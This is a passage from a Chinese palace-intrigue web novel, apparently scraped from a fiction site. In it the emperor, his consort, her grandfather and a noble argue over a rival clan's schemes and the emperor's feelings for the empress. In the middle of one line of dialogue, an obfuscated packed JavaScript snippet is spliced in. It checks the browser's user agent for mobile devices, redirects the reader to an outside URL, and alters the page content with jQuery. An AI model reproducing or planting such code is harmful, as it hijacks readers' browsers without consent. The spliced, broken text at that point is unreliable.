“宝儿啊,你晓得做人最难的是什么吗?”霍擎问,霍灵渠古怪看祖父,老太爷唏嘘:“是设身处地地为对方想想,易地而处,你能体悟得了芮贤妃的心境吗?” 霍灵渠怔愣下,而后缓缓低头。霍擎替孙女给出答案:“你不能,你看到的是皇帝,是皇权的威压,你当真能懂一个孤僻小娃在面对令他感觉不到安全的陌生时的无助和害怕吗?你不懂,你不孤僻,你如何能懂?你既不懂,你有什么资格指摘他? 你笑他犯贱时可想过这两字饱含着他多少辛酸,他有多想有人关爱他才能卑微到犯贱,你拿此事嘲笑于他不啻于在剜他的肉喝他的血啊。养育的小娃孤僻,没有开解他,还能不是霍家的责任吗?你又可曾想过他是孩童时落下的病根,才六岁的小娃娃呀。” 话到最后已有斥责意,霍灵渠不服:“就因孤僻,他就什么责任都没了吗?” “若是湘王和你的堂兄弟们孤僻,霍家是否会早已察觉早已治愈他们?”老太爷诱导,霍灵渠下意识想反驳,下一瞬间意识到自己的问题,哑然无言。霍擎笑了:“灵儿想说,这怎么能一样呢,是吧?但,也不必祖父多言,你也发现了,这就是霍家的责任。 他养在你姑母膝下,我们接纳他了吗?我们若真心接纳他,灵儿断断不会如此作想吧,你指责他打心底里排斥霍家,你可曾反思霍家人对他和对湘王有根本不同吗? 是霍家要养育他,霍家要养育他却不用心接纳他,霍家要养育他却没有真心相待,霍家对得住他吗,霍家还没有亏欠他吗?养育孩儿最重要的就是教育啊。 一个自卑孤僻的小娃娃心里有多容易受伤,他童年时少拿到颗糖都能闷在心里胡想啊。老头我连他患心病二十多年都没察觉,霍家该有多疏忽,还能不是霍家的责任吗?” 闻言,霍灵渠沉默半响,揪个避讳:“祖父对振羽和蓁蓁有真心吗?” 霍擎打量向孙女,眉宇间逐显高深莫测,刚还慈悲怜悯的老人仿佛顷刻间已比秋霜冷:“宝儿啊,嬴忱璧是外姓人,霍家当然是对他有所图才接过他的教育,既然对他有所图,既然认他当外孙,霍家当然要尽责,否则岂不是竹篮打水白白犯傻吗? 但对振羽和蓁蓁,霍家有所图吗,该教授给他们的学识和事理,霍家没教吗?何况是霍家在庇佑着他们,只要他们不危害霍家,霍家会庇佑他们终生,可他们还给霍家的是什么?享尽了霍家的富贵和庇佑,没有感恩只想将霍家敲骨吸髓啊。” 言外之意,霍家没有硬管而已,但家族应该给小辈的学识、应该让小辈们明晓的事理,霍家都教授给他们兄妹了。霍家该给的都给了,剩下的,凭他们自己。 霍灵渠忽然悲哀,面对佟家的阴损,霍家居然该庆幸没有和佟家硬夺,正因不曾硬管,佟振羽兄妹在今年二月以前在霍家才会享尽娇惯没受过委屈,没受过委屈就不会权衡利弊,没受过委屈才得以看清他们的真心,看清楚他们对父亲全无孝敬之心。 稍缓过会儿,霍灵渠抬手擦擦眼,坐过只石凳,握着祖父的手臂,神情发苦:“您就不怕,纵然您把姿态放得这么低,仍是竹篮打水吗?或许我对嬴忱璧是有偏见,但不能否认,嬴忱璧对霍家更有偏见,不是没有在意哪儿来的怨就能抹掉的。 您不觉得讽刺吗?霍家对他不够尽心都比芮家和郭氏对他好百倍,嬴忱璧不是不清楚,他若真想有人关爱他,何必排斥霍家,霍家是对他不够尽心尽责又没有排斥他。还是,他就愿意对芮家和郭氏犯贱?否则何至于啊,难道他得的心病是犯贱吗?” “想要看清一个人乃至一族岂是一朝一夕事,何况还是在他对他们满怀憧憬希冀时?”霍擎拍拍孙女的手,叹道:“祖父四十多年都没看清老郢国公,何况陛下童年里落了心病,陛下还不到而立之年,灵儿实不必揪着陛下的过往不放。” “祖父何苦把姿态摆那么低?”霍灵渠心酸:“您这岁数何苦还委屈自己?” “傻孩子,这有什么委屈不委屈的,芮家是皇帝生母的娘家人、郭皇后是皇帝的发妻,都是打断骨头连着筋,霍家拿什么跟他们比在皇帝心里的份量?养母又如何,咱宝儿看看霍家刚逐出家族的那俩玩意儿,霍家还不该感恩吗?陛下是有良心的。” 霍擎拿手绢给孙女擦擦脸:“宝儿,没得比还偏要去比就是自取其辱,懂吗?” 霍灵渠苦涩低下头挨在祖父的臂弯里平复心绪,宫女进院来禀告贵妃:英王世子求见。她直起背脊坐端正,拿手绢按按眼睛,她觉得她眼圈红了,而后再吩咐:宣。 不多时,男人走进视野,霍灵渠又眼酸地低眸。晏霁之来到石桌前,给贵妃行过礼,请老穆国公借一步说话,霍灵渠:“……”你到底是来找我还是来找我祖父? 郁郁难抒的霍贵妃连想数数钱让自己高兴都提不起劲儿,在祖父带着来找她祖父的男人去长春宫的花园谈话后,她咬咬唇又闷半响,让宫人们准备弓箭和箭靶。 在北地三年多,勤习武不辍,虽然在英王府时将武艺放下了,但拳脚功夫的底子还在,宫人们将弓箭和箭靶备来,霍灵渠搭弓射过几十箭找回手感后兴奋专注起来了,皇帝带着霍贵妃的父亲来时还有大群宫人围着在给贵妃娘娘喝彩,长春宫可热闹。 宽阔的场地上数个箭靶排排立,每个箭靶均有箭矢射中靶心,霍灵渠在场中跑马射箭,利落的英姿有不输男儿的矫健。正徽帝嬴忱璧看得微愣,凝眸注视片刻,走上前去接贵妃,谁想霍贵妃自个儿轻轻一跃跳下马来,皇帝伸在半空的手臂僵一瞬后收回。 默默略过这点小插曲,嬴忱璧和颜悦色:“贵妃的弓箭是在北地时学得吧?” “嗯嗯。”霍灵渠喜悦洋溢,高兴的余热未散,嬴忱璧瞧着贵妃真欢喜似也被感染了:“宫中有校场和围场,朕每月都会去练武,今后朕携贵妃同练骑射?” 霍灵渠下意识想拒绝又刹住,念及皇帝对霍家的积怨,念及祖父硬吞下委屈,她何必因这么点小事惹皇帝不悦,美眸弯弯假装高兴道:“好呀,臣妾谢陛下,但我未必常有兴致,我想练骑射的时候若恰逢陛下在校场,我自个儿过去找陛下,成吗?” “好!”习惯了被贵妃拒绝,没想到贵妃会同意,嬴忱璧还微讶下才大笑应好,又疑:“哎,晏卿还在长春宫吧,还有母后和老穆国公,怎么都没见他们的身影?” “哦,我姑母对看骑射的兴致不高,看过一刻多钟,让懂武的宫女们看顾好就回屋了,我祖父和霁之在花园说话。”霍灵渠瞥见她爹同来的,盘算着让她爹拖延皇帝会儿,她赶去哄哄太后姑母对皇帝态度好些再让皇帝请安,哪想皇帝这会儿没想见太后。 “既这般,朕也去花园瞧瞧,贵妃代朕给太后赔个不是,朕待会儿再来给母后请安。”嬴忱璧交代好贵妃便往长春宫的花园走,霍灵渠屈膝,众人恭送陛下。 恭送过皇帝,霍漓江慢悠悠踱步到闺女身边,霍灵渠讶异:“您不去花园吗?” “爹爹我是来找闺女。”霍漓江表示,霍灵渠笑逐颜开:“好呀!”单纯因此心情好,让宫人们把弓箭和白马都归整好,再备糕点茶水,她陪爹爹说说话。 嬴忱璧寻至小湖畔,瞧着老少二人有凉亭不待偏靠坐着湖畔石,自觉没多联想的皇帝特意打趣:“日头渐高,霁之在凉亭外不嫌晒吗?你可是个高雅的男人。” 老少二人在皇帝走近前就已站起来候着,皇帝近前来,他们躬身作揖行礼。得免礼后,闻此调侃,晏霁之整肃答:“禀陛下,臣和老国公谈的事在凉亭里嫌闷。” 嬴忱璧挑挑眉:“哦?是什么事啊,那般空阔通达的凉亭都装不下。” 宫娥们前来将新的热茶饮和糕点瓜果摆放好后告退,嬴忱璧先请老国丈坐,他再落座,端茶盏喝茶。晏霁之走过几步,半靠着假山石,没坐,不答反问:“那么,陛下是想听臣和老国公刚来花园时谈论的事还是目前在谈论的事?” 嬴忱璧随意:“先说第二件事吧。”但一个先字已明确皇帝是都要知道的。 “两刻钟前有霍家送给太后的宫女来向老穆国公禀告,虢王世子妃进宫来找小朱太妃,昌隆侯的嫡妻与小朱太妃的生母水火不容,这嫡姐庶妹的关系恐怕也不会好。” 他们因此忧虑的情绪更不好,晏霁之和老国公越推测越收不住把朱家最坏的招都想了,奈何嬴忱璧没反应过来,还等着他往下说,结果这就完了,皇帝觉得他听了个寂寞:“虢王世子妃进宫来见她的庶妹小朱太妃?就这点事,霁之莫不是在糊弄朕?” 霍擎耷拉着松弛的眼皮若无所觉,晏霁之瞬间有种不可思议的错觉,皇帝没收到长春宫排查细作的消息吗,连个宫女都知道要盯紧朱家人的风吹草动,他不懂吗? 晏霁之审视皇帝两息时间,再想椒房殿新出的笑料,皇帝对郭后真的需要隐忍至今么,前三年尚情有可原,即使皇帝谨慎拖到正徽四年,可在霍贵妃进宫前,皇帝已经知道郭皇后在盼他死,嬴忱璧到底是多仁慈啊才能仍然想给媳妇后半生安稳富贵? “若昨日是椒房殿处置细作,想来陛下定不会觉得这点事是在糊弄你。” “虢王世子妃是来给她这庶妹拱火?”嬴忱璧猛然领悟,没计较晏霁之的不敬,但皇帝他仍觉得不是晏霁之还有隐瞒就是在小题大做:“纵然虢王世子妃是来拱火,又如何?贵妃在深宫中有朕和皇太后庇护,朱家还能在朕的眼皮底下伤害贵妃吗?” 晏霁之心底发笑,他振振有词认为皇帝对郭后是在隐忍才是个笑话吧,若不在意,皇帝缘何不反驳,又何至于能对嘲他在意椒房殿的讥讽坦然得浑似本就如此般? “老穆国公刚告诉了臣一件往事,三十年前、授康三年,我曾祖父逝世还不到半年,您祖母朱太后欲钉死圣人的晏贵妃,朱太后用的是对后妃最阴损的招数。 好在晏家有防备,朱太后安排的男人刚运进昭德门,圣人就亲自将这桩腌臜事揭破了。圣人放话:若再有下回必诛尽朱家满门,这才迫使朱太后放掉了这龌龊心思。” 晏霁之走到皇帝面前距离皇帝三步站定,平和驳斥:“皇城有一万名禁军,有禁军被昌隆侯收买不算意外,朱家能悄悄送个男人进来吗?若朱家出此阴招,霍家没防备到,皇太后尚且都危险,遑论霍贵妃,陛下可有想过这最危险的情况吗?” 正徽帝嬴忱璧不以为然:“朱太后是圣人的亲娘,授康三年时有朱太后在前自是不同,而今朱家可能在朕的眼皮底下偷运个男人进宫来吗?就算假设他们能做到,这事做了,朕和霍家还能罢休吗,就为这点子细作事,可能吗?” 霍擎低着头佝偻着腰捧着茶盅喝茶,沉寂得犹如他是风餐露宿的凄凉老人。 是讽刺,晏霁之想,你皇帝有何不能将这种可能防备着,哪怕你觉得不可能又怎样,多道防备以策万全能费你多少心思,你若在意霍贵妃有何不能就此防备着? “小朱太妃的生母出自昌隆侯的外祖家柴家,是朱家太夫人的亲侄女,昌隆侯的表妹。这位柴姨娘生有三儿两女,张狂比之穆国公以前那位娉姨娘有过之无不及;论心计论强势,昌隆侯的嫡妻在命妇中都是佼佼者,可这侯夫人在朱家还常有憋屈时。 陛下刚因您的密报而和太上皇大起争执,臣请问陛下,朱家还有把谁家看在眼里,虢王世子妃会认为能因此事就会将朱家拖垮吗?她想的当然是借霍家的手将柴姨娘一系拔掉,她会想给庶妹吹吹风不应当吗?何况她还能告诉庶妹,用鞠太妃来做箭靶。” 嬴忱璧神情微变,晏霁之俯身端起茶盏,饮下半杯茶,显出讽意:“京畿三大营,穆国公和郢国公各执掌一营,臣请问陛下,若此事栽给鞠家,霍家和鞠家死斗,这两大营七万大军能有被昌隆侯染指的机会吗,虢王世子妃会怕不能对她爹交代吗? 甚至,或许她更愿意霍家查到朱家,她好一不做二不休,先借霍家除掉柴姨娘一系,他们再请圣人覆灭霍家;待到朱家和霍家只剩你死我活,这虢王世子妃难道会认为圣人会不把霍家碾死改成让朱家来做当朝第一豪族吗?至于对陛下?” 晏霁之唇畔勾起个弧度:“您作壁上观都算感念霍太后的养育之恩了吧?” 嬴忱璧再没疑虑,但仍有难以置信:“虢王世子妃能有如此深沉的心计?” 晏霁之否道:“臣和老国公议过,是不像,倒更像是昌隆侯座下幕僚献的计策。” 对此,嬴忱璧真被惹恼了:“国丈,国舅与朕说,昌隆侯派了幕僚进京来?” “禀陛下,是,他们以姑娘比智招亲的名义设下三道难题,目前,还没有被解出来。”霍擎躬着要低着头形容谦卑得似乎下刻就将以头抢地,只可惜皇帝没察觉异样。 “但以眼下的情况,老臣预估,虢王世子妃若对霍家有险恶用心,应该就是她爹给她送来,昌隆侯夫人在计策送进京前必定就有数了,朱家此行是冲着霍家。”霍擎忍不住笑了:“朱家要打场大仗,拿下北疆、拿下霍家,昌隆侯已然再也不想隐忍了。” 嬴忱璧若被惊诧了般看眼老国丈,细细思量过,皇帝他一掌拍在湖畔石上。 “陛下,出难题比智这事儿,滕王找过臣,臣答应了今夜去瞧瞧。”晏霁之饮尽茶水,放下茶盏说:“他们夜市还在,不如今夜让滕王陪您出宫逛逛夜市?” 嬴忱璧准了,屈起手指随意点着将朱家可能会要施行的阴谋考量遍,冷不防袭来挑衅:“椒房殿新出的笑料是郭皇后的真正写照吧,以椒房殿新出的笑料,整整四年又三个半月,你必定费过很多很多心思为媳妇隐瞒她有多愚不可及吧?” 皇帝抬眸,下颌亦微微斜起,神情幽幽看着他。 霍灵渠踏着整整的字音走到祖父身旁,祖父颤巍巍站起来,她连忙扶着。皇帝嬴忱璧盯着晏霁之并未因贵妃过来而分出视线,晏霁之背对着且专注于对峙,未察觉。 “凤冠、皇帝心爱女人的位置,我相信,你都想给霍灵渠,她不信,她认为你真心在意喜欢的是郭皇后,为此我还跟她辩论过:令愔夫人常与你话不投机都是后宫最得宠的嫔妃,你何苦?你是要把背后的暗流涌动压到最少,你对后宫都不敢懈怠。 你对郭皇后的忍耐更堪比逆来顺受,四年多的忍让足以让你形成习惯令你自己都没察觉你对媳妇有多宽容,以致于你重新审视时发现自己像个笑话。我自信我的论断没错,直到刚才我看着你对长春宫的隐患漫不经心,我才知道原来我这份自信才是笑话。” 嬴忱璧神情莫测得看着他,仍然没言语。晏霁之摇头讽笑,只觉此事那般荒谬的好笑:“你很清楚你跟你媳妇走不到白头吧,若非真在意,在郭皇后盼着你死时你就该撒手了吧,而不是直到册封霍贵妃,大多数人都还以为你们夫妻情深。 在正徽四年年末撒手对于你的困局能有多少影响?你对令愔夫人确是在忍,但你对郭皇后恐怕真的不是吧,否则在她对你怨恨不绝、在你已经无需多事时,你犯得着再护着她吗,若非自愿,你能护着个盼你死的人吗,你又因何能自愿?” 嬴忱璧背脊僵直,不知是焦虑还是想看完他的花样后再处理,总之依旧未语。 是惨烈,难怪霍灵渠进宫就察觉了,晏霁之陡然反感,皇帝何至于要这么装:“因何?是在意吧,很在意很在意吧,故而任她如何怨你窝囊嫌你没用乃至巴不得你死,你都愿意费心护她周全替她筹谋下半生安稳,只因她在你心里,你甘之如饴。 恰似对长春宫的隐患,你一再不以为意只认为我和老国公没事找事,你也不会觉得你的态度有何不妥,因为你不会想就算这担忧不可能发生都该防备,因为你不在意啊,谁愿意为不在意的人多费一丝一毫自认为没必要的心思,你又不是闲得慌。” 正徽帝嬴忱璧勃然站起死死瞪着他,晏霁之笑了,粲然风流的桃花眼中溢满讥诮,这就坐不住了,这还不是此地无银三百两:“很惨烈吧,在意与不在意,实在惨烈吧,真的在意怎么藏都藏不住,假的在意装得再真都天衣有缝能被轻易窥测。” “晏、霁、之?!”皇帝目露凶光,显见得就是雷霆大怒的征兆,晏霁之偏向虎山行:“你真能给霍家活路吗?没人要求你必须敢爱敢恨,但求你顾念是霍太后养育你长大,请你对霍家有一丝良心,至少给个坦诚让霍家知道你到底是因何要霍家死? 毕竟你嬴忱璧多能装啊,你给霍灵渠许诺什么,凤冠、皇帝心爱女人的位置,结果呢?结果你的心你的爱根本早就扎根在椒房殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459308|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,老穆国公活七十年,我自诩我聪慧过人,可我们在今天以前愣是都从来没有察觉过,谁还能看懂你嬴忱璧的心? 眼下你爱而不得、因爱生恨,废后、赐死,将来呢?四个月之前,你必定已经清楚郭皇后在盼着你驾崩了,这你都能包容,她死后你还能恨她吗,霍家按你的意思给你冲锋陷阵把你心爱的女人害死了,你还能让霍家活吗?” 振聋发聩的怒吼响彻,一束束阳光仿若化作鼓棒敲击湖面,搅得湖岸风声鹤唳。 绝对故意恶意中伤!嬴忱璧真后悔怎么没把晏霁之的嘴巴缝起来,给他记笔黑账,暂且顾不得管他,视线看向霍贵妃,晏霁之转身,意外她竟然在,难怪皇帝紧张了。 霍灵渠抿笑道:“我在你说整整四年时过来的,爹爹告诉我,六哥哥明日进京,我想给六哥哥备些衣食银两,我爹不答应,除非陛下能应允,我就找过来想求个恩典。” “贵妃莫非还相信晏霁之对朕的污蔑不成?”嬴忱璧直觉就觉得贵妃不信他。 似枯叶凋零,风烛残年之龄的霍擎仿佛突然衰败得不能再理事。霍灵渠牵牵唇,提个很哀凉的现实:“至少你不实诚,你更不是因为郭氏盼你死才不再对她有侥幸,是你断定她耐不住寂寞很可能会给你戴绿帽才死心,你把你的尊严和半条命都给她了。” “贵妃!”嬴忱璧真有种有口难言的憋闷:“朕告诉过你,是朕对郭氏起过杀心,念在曾经的杀意、朕登基前几年需要安稳,朕才对她甚宽容;又因郭氏的性情,且顾念一双儿女,朕才没把她看在眼里,在册封贵妃前夕仍然愿意给她下半生安稳。” “但你心里真的有她,大约十个时辰前,妾曾和陛下剖析,皇后真的在你心里过,遭遇危险时你愿意为护着她而损伤自己,陛下没否认。”霍灵渠语调淡漠,似南飞过冬的雁儿,寒风如何强劲都挡不住:“昨天我有一种感觉,现在还没有忘—— 倘若独臣妾、皇后、陛下和魏王时遭遇刺客,正常情况应该是魏王自顾自,你会救我、郭皇后会被刺客杀害,但我知道你会救媳妇,魏王会救我;倘若魏王不在,被杀害的必定会是我,你会等到你们夫妻安全时才想起来:哦,还有霍灵渠在啊。 哪怕你很清楚,郭氏会把你救她当做理所当然,她仍会该嫌恶你嫌恶你,该盼着你死就盼你死,不会因为你救过她而有何不同,但你还是会救她,因为这是不经思索的决断,你要废后赐死都不妨碍在她有危险时你会想保护她,因为她在你心里。” “呵,呵?!”嬴忱璧被这荒唐的毁谤气煞了,老国丈和晏霁之还没退下都懒得顾及:“贵妃想影射什么,朕对你全是虚情假意毫无真心还是朕在郭氏面前是条狗啊?” 狗字脱口而出时嬴忱璧未觉有异,未想这是他心境比昨日开阔的进步,否则,他纵使也能发泄出来但绝不会有这个狗字,霍擎挑动根眉毛,低着头盘算皇帝的心病。 晏霁之没察觉皇帝的狗字有何不妥,更没想帮衬霍灵渠,不是乐得看他们吵架,是就没觉得有多事的必要,霍灵渠又不是个一两岁的小娃担不起一点事,他更不信奉什么都挡在心爱的女人前面把人护得脆弱不堪,他就淡定旁观霍贵妃和皇帝对垒。 二十多年的抚育就得来深深的积怨,何苦来哉,皇帝若对霍家包藏祸心,是霍家吞再多委屈把姿态摆得再低能抵用的吗?霍灵渠想敷衍还是不愿再忍:“大约是吧。 否则,陛下自个儿的意思:不再留宿椒房殿、削减皇后的用度,陛下何不自己担着,连令愔夫人和皇后起冲突,你都要霍贵妃出面,你又是什么心思非得掩藏自己? 是陛下不敢坦率面对媳妇,还是你要给霍家多添几笔账?是你对媳妇始终有一丝心疼,只要你不亲自出面,你就能有转圜的余地,皇后更能保住在人前的最后体面,还是你仍有侥幸期望她被霍家欺压之后能向你低头,你们冰释前嫌重归于好?” “……” 晏霁之腹诽这女人果然想嚣张就能嚣张飙涨,嬴忱璧想起晏霁之对贵妃说的:你还是去把皇帝气死吧,你一定有本事能把嬴忱璧气死,果然偷听之言诚不欺皇帝! “还是贵妃先给朕个坦诚吧,朕在你眼中究竟是何等卑劣无耻啊?” 霍灵渠斜眸瞟瞟皇帝,抿抿唇,屈膝告退,不管皇帝是否允准,她自顾离开。 嬴忱璧喊好几遍贵妃都没把霍贵妃喊住,眼睁睁看霍贵妃走远,差点被气得心口疼,在原地转两圈,一转身看见晏霁之,气不打一处来,忍不住要发飙时被截住,晏霁之率先道:“陛下还想是非不分随意迁怒我吗?霍贵妃这德行明显跟我没关系。 要么是你太过骄纵贵妃,纵得霍贵妃恃宠生娇;要么是她仗着有霍家做后盾,她不想再跟你装模作样,认为撕破脸就撕破脸,无所谓,所以才这么破罐破摔呢。” 嬴忱璧深呼吸冷静,恭维他:“这么说,你肆意污蔑朕还一点错都没有了?” 刚还剑拔弩张,突然和缓似乎也毫不违和,或许是在对霍家的问题上,皇帝底气很足,晏霁之更多是想诈诈皇帝,且就算有一丝疑虑也没藏着掖着,当场爆发了。 霍擎瞧着,皇帝这会儿德行倒不错,甚至于是拿着种朋友的调调对晏霁之。 “我哪里有肆意污蔑,我完全是合情合理的推测,我之前还站在你这边在你不知情的情况下帮你怼过她,谁叫你自己做的经不起推敲。”晏霁之明目张胆打量皇帝,当他自个儿刚才的猛烈炮轰不存在,神情难以言喻:“你……这么不挑啊?” 嬴忱璧:“……” 一直当风景的霍擎险些没绷住,犹如受到雷阵雨暴击的皇帝嬴忱璧心底至四肢百骸游走着想抓狂的冲动,一忍再忍三忍才忍住没握拳:“朕对郭氏起过杀心,因此杀意,朕有点愧意才对她多有宽容!”皇帝着重告诫:“是朕对她起过杀心,懂吗?” “你不觉得你越描越黑吗?”晏霁之好心提示:“你因何故要对你媳妇起杀心?” “……”陷在坑里的皇帝嬴忱璧犹豫是否该强令晏霁之不准深究,霍擎解围道:“是因陛下的心疾吧,贵妃告诉老臣,陛下童年里若自觉被忽视了,哪怕少拿颗糖都会郁结多思,您甚渴望有人关爱您,曾对妻子默默付出过满腔热忱,可惜只落得场空。” 嬴忱璧:“……”好像能感同身受他爹昨日被霍秦川曝料和亲娘不睦时的难堪了,忽然对上晏霁之愈加诡谲的眼神,皇帝他眼皮一跳,真不知该不该将错就错了? “陛下你有心病,你还对郭皇后默默付出过满腔热忱?”晏霁之面有古怪,他当然清楚皇帝口中的杀意指的是什么,但老穆国公指皇帝有心疾可是新鲜了。 “好了!”就算是掩耳盗铃欲盖弥彰,嬴忱璧也认了:“朕要独自静静,都退下。” 晏霁之瞟瞟皇帝,扶着老国公向皇帝告退。他们走离小湖畔,不在皇帝的视野中之后,霍擎站定道:“灵渠应该还在花园,找了个隐蔽之处在委屈,你帮陛下向贵妃解释下,陛下让贵妃出面来办的这几件事全然是出于帝王权术,这是没有任何问题的。” “您呢?”晏霁之问,霍擎指指去路,晏霁之点点头,向老太爷告辞。 花园中寻过半圈,在花木深处的假山洞里找到躲避的霍灵渠,女人抱膝缩着,还真是副受委屈了的模样。晏霁之在假山周围仔细探查遍,确定没有隐藏的宫婢,他再进假山。 “知道害怕还那么挑衅皇帝,你有本事自己担着别让你祖父给你收拾烂摊子呀。” “谁害怕呀?!”霍灵渠犹若被点燃火苗芯子般蹭一下立起来,昂首倔强:“我是委屈,替自己委屈,替霍家委屈,你是不知道,皇帝可怨恨着霍家,嫌霍家对他不好。 我爹还说呢,你姑母辛辛苦苦养大的儿子难道还要霍家给他人做嫁衣?偏霍家养的这个忒与众不同,霍家对他不够尽心也比芮家和郭氏对他好百倍,偏他一边怨恨霍家排斥霍家,一边被芮家和郭氏踩到泥里都要上赶着掏心掏肺十多年。” “是霍家要养育他,又不是他扒着霍家,霍家凭什么要求在他心里和他生母的娘家排在同等位置?也许在人家心里,霍家和忠毅伯府有天壤之别呢。” 晏霁之凉凉驳斥:“也许对人家而言,霍家要对他尽心尽责还不能被他揪着错才只配够到忠毅伯府的起点,你偏要把霍家和忠毅伯府放在同等位置上比较,你还不是自讨没趣吗?你还想规定,霍家养育他了就要有与他生母娘家等同的待遇吗? 那我姑母还抚养过他呢,他四岁前可养在我姑母膝下!你看我家多识趣,从来没因我姑母养育过他四年就去攀亲,你也识趣些,要不然就不是自讨没趣而是自取其辱了,毕竟人家一句是太后要抚养朕,不是朕想让太后抚养就能把你全顶回去了。” 霍灵渠满目泫然欲泣的抵御,如困兽犹斗,就算愿意认这个理儿没错也深觉悲凉委屈,晏霁之无奈将人拥入怀中哄:“好了,你祖父去给你善后了,没事了。” “你怎么不拦着我祖父,我祖父这岁数何苦还要受这种委屈,撕破脸就撕破脸,嬴忱璧没想让霍家活,与其鸟尽弓藏被窝囊死,还不如痛快搏一把。” 霍灵渠靠在晏霁之怀里拥紧他,再难抑悲怆:“我早清楚他在意郭氏,我竟从没想过,皇帝要郭氏死,借霍家的手做,霍家做了,他又能反手打着给郭氏报仇的旗帜残害霍家,可霍家若是违抗他不肯应,同样是死路。嬴忱璧,他就根本没想让霍家活……” 晏霁之微怔,心里冒出个疑虑,霍灵渠是否打心底里就不相信嬴忱璧? 117. 第117章 小湖潋滟,脉脉水波融进暖阳金灿携着微风伴奏,谱一曲欣欣向荣的昂扬乐章。 霍擎返回小湖畔问候陛下,嬴忱璧心里烦,懒得理会:“老国丈回前殿歇着吧,朕不会和贵妃生气更不会因为贵妃跟朕闹点脾气就迁怒霍家,您尽管放心退下吧。” “陛下就不想知道你生母是怎么死的吗?”霍擎拄着拐杖,微抬着下巴噙着丝高深笑,相比方才驼着背的苍老,此刻他虽然也没有站得多笔直,就是种他平日里的舒服站姿,但早已没有之前的畏首畏尾反而有股倨傲气势,仿佛他先前的衰败从未存在过。 嬴忱璧愣住,一瞬间脑海中各种念头迭出,缓缓转过头盯着眼前的老人,神情莫测。 霍擎不紧不慢找石头坐,当着皇帝的面未经皇帝允许,他没顾忌地擅自坐下,落座后,他老头把拐杖搁边上,拿起茶壶倒杯茶,捧着茶盏慢悠悠喝茶吃点心。 正徽帝嬴忱璧注视眼前名义上的外祖父半响,看着这位皇太后的父亲似乎吃饱喝足了,皇帝站起来走到他面前直截了当问:“老国公是否知道些什么,给朕个坦诚吧。” “陛下不相信自己吗?”霍擎反问:“你生母若是被害而亡,你早查到了,不是吗?” “大半月前,晏霁之怀疑圣人的四公主是被害而亡;前日,晏霁之冒雨进宫告诉朕,怀疑温献皇后的第三胎是被害而亡,意在耗尽温献皇后的心血想活活耗死温献皇后。” 嬴忱璧说:“温献皇后是圣人的挚爱,若她生前都有可能有黑手暗害她的孩儿,她薨逝后留下的独女养在当时的霍德妃——现今的霍太后膝下,有晏家霍家一同看顾,若四妹都有可能是被害而亡,朕的生母当年若也是被害而亡,朕会查不到也很正常吧。” 霍擎打量皇帝两眼,要笑不笑恭维:“不错啊,倒没怀疑到我霍家头上。” 嬴忱璧将老人家的嘲讽忽略掉,很有诚意地再请教而非摆皇帝的威风强令其回答。 “看看你自个儿,童年里少拿到颗糖都能闷在心里七想八想。”霍擎嫌道:“这倒霉德行当然是随你生母,你生母芮贤妃生前怕是被多看眼都能怀疑是在看不起她,碰到有宫人在说悄悄话都能往自己身上揽,人哪能经得起那么多思啊,这不得把人熬坏嘛。” “老国公是在堂而皇之地敷衍朕吧?”嬴忱璧给个评价,然后就被强烈斥责:“你脑子里就只能装到阴谋诡计吗,你生母是啥牌面上的人物啊还值得谁害她?” “她生有个皇子又咋了,你爹有多少嫔妃怀胎生育过?!”霍擎奋起狂喷:“你自个儿都当你生母是念着进宫前的过往郁郁寡欢才早早死了的,咋的,轮到老头我猜你生母是心思郁结死的就成敷衍你了啊,外孙子,你堂而皇之地糊弄谁呢你?!” 嬴忱璧被喷得差点想闭闭眼睛,更有个直觉,这外孙子三字,这位是想骂孙子吧。 “所以,您老并没有什么新鲜的见解?”嬴忱璧大度得仍旧没计较他对皇帝不敬,霍擎当然不能同意:“你长不长脑会不会分辨,你没长脑啊还是故意跟老头我揣着明白装糊涂,你以为你生母是念着进宫前的过往,老头我是指她性格上的缺陷。” “这两者有根本不同好哇!”霍擎浑如在训孙子,训得毫无压力:“你看看你自己,犯心病二十多年没痊愈,你还是个皇子呢,你都能自卑到这份儿上,芮贤妃生前该是何等心境,还能不把她自己折腾死吗,你心性强能挺过去,你就当你生母也能挺得过吗? 芮贤妃生前啥样,整日里多愁善感迎风就能倒,她心性能有你这么强吗,你能不能设身处地的替她想想,好歹是生母啊,你能不能对你生母上点心啊?!” 嬴忱璧被抨击地差点想往后仰别过脸,再忍住拿绢帕擦脸的冲动,皇帝他展龙颜微笑:“您老认为我生母是因心性弱才早逝,可人的心性能有如此脆弱吗?” “连你的贵妃都骂你对人对己都有很大的偏见是吧?”霍擎真不耐烦皇帝这德行:“你还真会以己度人啊你,老头我刚骂过你,你还真就又能送上门来找骂啊,人的性情能如此脆弱吗?呵,老头我真不想搭理你,你当你大伯愍文太子怎么死的?” 在心里腹诽我的贵妃就是你的孙女好吧的皇帝嬴忱璧悉闻最后句,诡异看向他。 霍擎翻白眼:“你脑子里还真就只能装到阴谋诡计啊你,刚魂游天外去了啊你?” 看懂了这位皇太后的父亲是来皇帝面前摆外祖父威风的皇帝嬴忱璧宽宏大量地放纵了:“您老的意思,朕这位大伯全因心性太弱才早逝吗?可据朕所知,朕这大伯薨逝时22岁,能与他相争的弟弟比他小十多岁,愍文太子难道还能惧怕个孩童吗?” 霍擎一脸对外孙子看不上眼以及一丢丢恨铁不成钢的没好气:“你脑子长来做啥的,你祖父的庞贵妃宠冠后宫,你就想当然觉得必是庞贵妃挤兑得桓皇后和愍文太子步履维艰吗,你就不知道问问桓皇后什么性情吗,活该你昨天被霍秦川骂!” 朕昨日是问了的!嬴忱璧捏捏拳头:“那么朕请问老国公,桓皇后什么性情?” 霍擎瞧眼皇帝外孙,心境平和下来,叹息道:“几乎是嗜权如命了。” 